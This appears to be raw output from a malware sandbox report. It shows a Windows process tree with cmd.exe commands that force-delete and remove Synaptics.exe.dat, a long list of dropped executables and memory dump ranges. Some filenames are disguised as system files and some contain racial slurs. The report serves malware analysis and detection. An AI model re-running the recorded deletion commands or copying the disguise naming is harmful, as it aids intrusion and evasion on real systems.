C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\ProgramData\Synaptics\Synaptics.exe.dat"2⤵
-
-
C:\Users\Admin\AppData\Roaming\SubDir\Cleaner.exeC:\Users\Admin\AppData\Roaming\SubDir\Cleaner.exe1⤵
-
C:\Users\Admin\AppData\Roaming\SubDir\Cleaner.exeC:\Users\Admin\AppData\Roaming\SubDir\Cleaner.exe1⤵
-
C:\ProgramData\Synaptics\Synaptics.exeC:\ProgramData\Synaptics\Synaptics.exe1⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\ProgramData\Synaptics\Synaptics.exe.dat"2⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\ProgramData\Synaptics\Synaptics.exe.dat"2⤵
-
-
C:\ProgramData\Synaptics\Synaptics.exeC:\ProgramData\Synaptics\Synaptics.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 5064 -ip 50641⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 12992 -s 8721⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 8232 -ip 82321⤵
-
C:\Windows\system32\sihost.exesihost.exe1⤵
-
C:\Windows\system32\sihost.exesihost.exe1⤵
-
C:\Windows\system32\sihost.exesihost.exe1⤵
-
C:\Windows\system32\sihost.exesihost.exe1⤵
-
C:\Windows\system32\sihost.exesihost.exe1⤵
-
C:\Windows\system32\sihost.exesihost.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
DDDDDDDDDDDDDDD
desktop.ini.tmp
I1yPCrHry.README.txt
symsrv.dll.000
IEShims.dll.tmp
IEXPLORE.EXE.tmp
DesktopLayerSrv.exe
72a75d63-d7e6-494d-b62d-2a7a15d90d7e.tmp
settings.dat
Preferences
Local State
._cache_Restter.exe
aoi1j.exe
4363463463464363463463463.exe
48qKwkR.exe
Antieac.exe
BLToolsPROV2.9.1.exe
another_tool.exe
l843.exe
G4gtDRI.exe
LB3.exe
Launcher_x64.exe
New Text Document mod.exe
Oxymorphazone.exe
cert.exe
RenT7Wg.exe
Restter.exe
RobloxOptimizer.exe
Setup.exe
Umbral.exe
CPP.exe
nJ66RiN.exe
aoi1j.exe
aoisjf.exe
aosidjn.exe
aosuifhn.exe
aso9iu8j1298joisd.exe
bb84d74b202b0223952a5ec3035430b938a99704fada5771231b2051324d5f4f.exe
eb80020f1ec5707f1a0ca62eed70eab962386e5a.exe
ee81207c5562288802020975235c69f1ac8355b67a4a3f646e9d161af84757a5.exe
funny.exe
funny1.exe
funny67.exe
funny78.exe
iZ8POZ6.exe
j9a8isjfoksdlmgwer.exe
k1t.exe
kaQ7Taz.exe
niggaaaaa.exe
nigganet.exe
oi.exe
sdoijsgroeij324.exe
svchost1.exe
tuffnigga.exe
omsecor.exe.tmp
BQPWQMz.exe
RDQwQNg.exe
RcspDwY.exe
ZUTUqpI.exe
dxiocnw.exe
gIBpkpU.exe
hEpPpYv.exe
nXVBvOs.exe
oTYwevP.exe
pLHhJxV.exe
pgzXDYY.exe
tRYUbUX.exe
ulYhFmI.exe
ytdSebK.exe
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
DDDDDDDDDDD
memory/212-42-0x0000000000400000-0x000000000042E000-memory.dmp
memory/212-47-0x0000000000400000-0x000000000042E000-memory.dmp
memory/212-51-0x0000000000550000-0x0000000000551000-memory.dmp
memory/212-46-0x0000000000400000-0x000000000042E000-memory.dmp
memory/560-64-0x0000013F12A70000-0x0000013F12A80000-memory.dmp
memory/560-135-0x00007FF618790000-0x00007FF618B85000-memory.dmp
memory/560-17-0x00007FF618790000-0x00007FF618B85000-memory.dmp
memory/740-5567-0x00007FF639280000-0x00007FF639675000-memory.dmp
memory/740-4452-0x00007FF639280000-0x00007FF639675000-memory.dmp
memory/740-256-0x00007FF639280000-0x00007FF639675000-memory.dmp
memory/808-305-0x0000000000400000-0x0000000000424000-memory.dmp
memory/1040-294-0x00007FF671720000-0x00007FF671B15000-memory.dmp
memory/1040-4453-0x00007FF671720000-0x00007FF671B15000-memory.dmp
memory/1040-5589-0x00007FF671720000-0x00007FF671B15000-memory.dmp
memory/1212-336-0x00007FF6005D0000-0x00007FF6009C5000-memory.dmp
memory/1212-5649-0x00007FF6005D0000-0x00007FF6009C5000-memory.dmp
memory/1256-60-0x0000000000670000-0x0000000000671000-memory.dmp
memory/1256-63-0x0000000000400000-0x000000000043D000-memory.dmp
memory/1260-157-0x00007FF61A370000-0x00007FF61A765000-memory.dmp
memory/1260-4141-0x00007FF61A370000-0x00007FF61A765000-memory.dmp
memory/1260-5509-0x00007FF61A370000-0x00007FF61A765000-memory.dmp
memory/1504-278-0x0000000000400000-0x0000000000429000-memory.dmp
memory/1504-276-0x0000000000400000-0x0000000000429000-memory.dmp
memory/1504-284-0x0000000000400000-0x0000000000429000-memory.dmp
memory/1568-1222-0x0000000000400000-0x0000000000409000-memory.dmp
memory/1568-93-0x0000000000400000-0x0000000000409000-memory.dmp
memory/1740-328-0x00007FF616950000-0x00007FF616D45000-memory.dmp
memory/1740-4629-0x00007FF616950000-0x00007FF616D45000-memory.dmp
memory/1744-144-0x00007FF642AA0000-0x00007FF642E95000-memory.dmp
memory/1744-3887-0x00007FF642AA0000-0x00007FF642E95000-memory.dmp
memory/1744-5508-0x00007FF642AA0000-0x00007FF642E95000-memory.dmp
memory/2196-329-0x00007FF6379F0000-0x00007FF637DE5000-memory.dmp
memory/2196-4665-0x00007FF6379F0000-0x00007FF637DE5000-memory.dmp
memory/2196-5729-0x00007FF6379F0000-0x00007FF637DE5000-memory.dmp
memory/2284-5545-0x00007FF708BF0000-0x00007FF708FE5000-memory.dmp
memory/2284-255-0x00007FF708BF0000-0x00007FF708FE5000-memory.dmp
memory/2288-0-0x0000000000C90000-0x0000000004E96000-memory.dmp
memory/2808-320-0x00007FF766A80000-0x00007FF766E75000-memory.dmp
memory/2808-4464-0x00007FF766A80000-0x00007FF766E75000-memory.dmp
memory/3348-83-0x0000000000400000-0x000000000042E000-memory.dmp
memory/3388-340-0x00007FF631730000-0x00007FF631B25000-memory.dmp
memory/3388-4808-0x00007FF631730000-0x00007FF631B25000-memory.dmp
memory/3760-5456-0x00007FF7F2AE0000-0x00007FF7F2ED5000-memory.dmp
memory/3760-92-0x00007FF7F2AE0000-0x00007FF7F2ED5000-memory.dmp
memory/3760-385-0x00007FF7F2AE0000-0x00007FF7F2ED5000-memory.dmp
memory/3768-4628-0x00007FF64D870000-0x00007FF64DC65000-memory.dmp
memory/3768-307-0x00007FF64D870000-0x00007FF64DC65000-memory.dmp
memory/3768-5668-0x00007FF64D870000-0x00007FF64DC65000-memory.dmp
memory/3780-337-0x00007FF744450000-0x00007FF744845000-memory.dmp
memory/3780-5675-0x00007FF744450000-0x00007FF744845000-memory.dmp
memory/3784-553-0x0000000005680000-0x00000000056CC000-memory.dmp
memory/3784-319-0x0000000000A30000-0x0000000000A82000-memory.dmp
memory/3784-364-0x0000000005340000-0x00000000053D2000-memory.dmp
memory/3784-551-0x00000000054E0000-0x00000000054F2000-memory.dmp
memory/3784-552-0x0000000005500000-0x000000000553C000-memory.dmp
memory/3784-386-0x00000000053E0000-0x00000000053EA000-memory.dmp
memory/3784-547-0x00000000065B0000-0x0000000006BC8000-memory.dmp
memory/3784-549-0x0000000005790000-0x000000000589A000-memory.dmp
memory/3784-327-0x00000000059E0000-0x0000000005F84000-memory.dmp
memory/4248-4245-0x0000000000400000-0x0000000000915000-memory.dmp
memory/4248-4246-0x0000000000400000-0x0000000000915000-memory.dmp
memory/4248-4222-0x0000000000400000-0x0000000000915000-memory.dmp
memory/4484-124-0x0000000000090000-0x000000000009E000-memory.dmp
memory/4500-3886-0x00007FF696B20000-0x00007FF696F15000-memory.dmp
memory/4500-112-0x00007FF696B20000-0x00007FF696F15000-memory.dmp
memory/4500-5459-0x00007FF696B20000-0x00007FF696F15000-memory.dmp
memory/4564-257-0x0000000000400000-0x0000000000408000-memory.dmp
memory/4684-240-0x00007FF756C40000-0x00007FF757035000-memory.dmp
memory/4684-5547-0x00007FF756C40000-0x00007FF757035000-memory.dmp
memory/4720-4153-0x00007FF77F6A0000-0x00007FF77FA95000-memory.dmp
memory/4720-167-0x00007FF77F6A0000-0x00007FF77FA95000-memory.dmp
memory/4720-5546-0x00007FF77F6A0000-0x00007FF77FA95000-memory.dmp
memory/4776-4189-0x0000000010000000-0x0000000010030000-memory.dmp
memory/4776-4188-0x0000000000400000-0x0000000000429000-memory.dmp
memory/4868-333-0x00007FF7545F0000-0x00007FF7549E5000-memory.dmp
memory/4868-5572-0x00007FF7545F0000-0x00007FF7549E5000-memory.dmp
memory/4928-310-0x0000000000400000-0x0000000000429000-memory.dmp
memory/5072-548-0x00000000007A0000-0x00000000007A8000-memory.dmp
memory/5132-265-0x0000000000400000-0x00000000008BB000-memory.dmp
memory/5132-367-0x0000000000400000-0x00000000008BB000-memory.dmp
memory/5132-169-0x0000000000400000-0x00000000008BB000-memory.dmp
memory/5132-266-0x0000000000400000-0x00000000008BB000-memory.dmp
memory/5132-267-0x0000000000400000-0x00000000008BB000-memory.dmp
memory/5224-3896-0x00007FF7B2ED0000-0x00007FF7B32C5000-memory.dmp
memory/5224-154-0x00007FF7B2ED0000-0x00007FF7B32C5000-memory.dmp
memory/5224-5517-0x00007FF7B2ED0000-0x00007FF7B32C5000-memory.dmp
memory/5280-258-0x00007FF70B970000-0x00007FF70BD65000-memory.dmp
memory/5280-5549-0x00007FF70B970000-0x00007FF70BD65000-memory.dmp
memory/5472-22-0x0000000000400000-0x000000000043D000-memory.dmp
memory/5472-41-0x00000000004C0000-0x00000000004CF000-memory.dmp
memory/5472-43-0x0000000000400000-0x000000000043D000-memory.dmp
memory/5684-164-0x00007FF7C5560000-0x00007FF7C5955000-memory.dmp
memory/5684-5548-0x00007FF7C5560000-0x00007FF7C5955000-memory.dmp
memory/5684-4142-0x00007FF7C5560000-0x00007FF7C5955000-memory.dmp
memory/5700-248-0x0000000000400000-0x0000000000424000-memory.dmp
memory/5792-5457-0x00007FF788570000-0x00007FF788965000-memory.dmp
memory/5792-91-0x00007FF788570000-0x00007FF788965000-memory.dmp
memory/5792-382-0x00007FF788570000-0x00007FF788965000-memory.dmp
memory/6072-304-0x00007FF68DB10000-0x00007FF68DF05000-memory.dmp
memory/6072-5658-0x00007FF68DB10000-0x00007FF68DF05000-memory.dmp
memory/6072-4463-0x00007FF68DB10000-0x00007FF68DF05000-memory.dmp
memory/6668-3911-0x0000000000400000-0x0000000000429000-memory.dmp
memory/6940-3947-0x0000000000400000-0x0000000000429000-memory.dmp
memory/7192-4081-0x0000000010000000-0x0000000010030000-memory.dmp
memory/7192-4080-0x0000000000400000-0x0000000000429000-memory.dmp
memory/7200-3941-0x000001F98A050000-0x000001F98A090000-memory.dmp
memory/7200-5169-0x000001F9A5370000-0x000001F9A538E000-memory.dmp
memory/7476-4207-0x0000000010000000-0x0000000010030000-memory.dmp
memory/7528-3876-0x0000000000400000-0x0000000000429000-memory.dmp
memory/7552-3848-0x0000000000400000-0x0000000000429000-memory.dmp
memory/7552-3622-0x0000000000400000-0x0000000000429000-memory.dmp
memory/7936-4132-0x0000000000400000-0x0000000000429000-memory.dmp
memory/8164-4678-0x00000000003F0000-0x00000000003F8000-memory.dmp
memory/8184-4151-0x0000000010000000-0x0000000010030000-memory.dmp
memory/8232-5203-0x0000000005600000-0x0000000005954000-memory.dmp
memory/8572-3837-0x0000000000C30000-0x0000000000F54000-memory.dmp
memory/8720-3585-0x000001ADAF430000-0x000001ADAF72C000-memory.dmp
memory/8720-3588-0x000001ADAF430000-0x000001ADAF72C000-memory.dmp
memory/8720-3594-0x000001ADAF430000-0x000001ADAF72C000-memory.dmp
memory/8720-3607-0x000001ADAF430000-0x000001ADAF72C000-memory.dmp
memory/8720-3603-0x000001ADAF430000-0x000001ADAF72C000-memory.dmp
memory/8720-3601-0x000001ADAF430000-0x000001ADAF72C000-memory.dmp
memory/8720-3596-0x000001ADAF430000-0x000001ADAF72C000-memory.dmp
memory/8720-3577-0x000001ADAF430000-0x000001ADAF72C000-memory.dmp
memory/8720-3583-0x000001ADAF430000-0x000001ADAF72C000-memory.dmp
memory/8720-3591-0x000001ADAF430000-0x000001ADAF72C000-memory.dmp
memory/8720-2148-0x000001ADAF430000-0x000001ADAF72C000-memory.dmp
memory/9560-4223-0x0000000000400000-0x0000000000429000-memory.dmp
memory/9560-4224-0x0000000010000000-0x0000000010030000-memory.dmp
memory/9728-4204-0x0000000000400000-0x0000000000429000-memory.dmp
memory/9728-4205-0x0000000010000000-0x0000000010030000-memory.dmp
memory/9740-4285-0x0000000000400000-0x0000000000429000-memory.dmp
memory/9740-4286-0x0000000010000000-0x0000000010030000-memory.dmp
memory/9820-4279-0x0000000010000000-0x0000000010030000-memory.dmp
memory/9820-4277-0x0000000000400000-0x0000000000429000-memory.dmp
memory/10132-4336-0x0000000000400000-0x0000000000429000-memory.dmp
memory/10132-4337-0x0000000010000000-0x0000000010030000-memory.dmp
memory/10336-4459-0x0000000010000000-0x0000000010030000-memory.dmp
memory/10408-4380-0x0000000000400000-0x0000000000429000-memory.dmp
memory/10408-4381-0x0000000010000000-0x0000000010030000-memory.dmp
memory/10440-4361-0x0000000000730000-0x0000000000760000-memory.dmp
memory/10772-4385-0x0000000010000000-0x0000000010030000-memory.dmp
memory/10772-4384-0x0000000000400000-0x0000000000429000-memory.dmp
memory/10972-4440-0x0000000010000000-0x0000000010030000-memory.dmp
memory/10972-4439-0x0000000000400000-0x0000000000429000-memory.dmp
memory/11204-4466-0x0000000010000000-0x0000000010030000-memory.dmp
memory/11204-4465-0x0000000000400000-0x0000000000429000-memory.dmp
memory/11436-4434-0x0000000000400000-0x0000000000408000-memory.dmp
memory/11748-4542-0x0000000000400000-0x0000000000429000-memory.dmp
memory/12816-4683-0x00000000055C0000-0x000000000565C000-memory.dmp
memory/12816-4679-0x0000000000890000-0x000000000090C000-memory.dmp
memory/14216-3910-0x0000000000400000-0x0000000000429000-memory.dmp